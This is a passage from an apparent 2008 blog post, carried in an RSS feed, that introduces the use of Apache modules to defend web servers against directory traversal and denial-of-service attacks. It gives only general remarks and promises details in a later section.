Apache?.Security is a complex of invisible or bit notes.You can&#8217;t deny web viewers to looking your web contents in a little range of time .-in fact you can&#8217;t tell to users : Do brows my web contents only one time &#8211; but you can denied them to browsing all site in a little range of time  &#8211; or attacking such as directory traversal attacks or denial of service attack &#8211; .This attack can give a large amount of server resources .you can detect this attack and ban the attacker . Apache developed by some modules now, we can select our needed modules for protection.<br />
Modules may be a helpful tools if you have enough information about how to work this module .Apache have 3 release version : 1.3.X and 2.0.X and 2.X all of this versions can using some modules.<br />
For any platforms that you want to work on it may you need to some changes in configurations and giving resources to web server or changing in firewall rules and etc &#8230; . But you are module selector and you are lord of Apache world .Deciding which modules are needed is your job and tuning Apache is your art .<br />
Its end of section one for now because I have no time to continue . i&#8217;ll be back very soon &#8211; iwant build a http server on my bsd box all of notes are really -In the next section we look for details .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2008/10/is-your-apache-in-safe-mode/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
